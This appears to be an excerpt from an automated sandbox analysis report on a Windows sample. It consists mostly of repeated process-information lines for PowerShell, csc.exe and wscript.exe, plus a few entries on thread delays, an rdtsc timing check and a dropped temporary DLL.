                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0132D1C0 rdtsc 12_2_0132D1C0
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7593Jump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2088Jump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3776Jump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5962Jump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.dllJump to dropped file
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeAPI coverage: 0.7 %
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6068Thread sleep count: 7593 > 30Jump to behavior
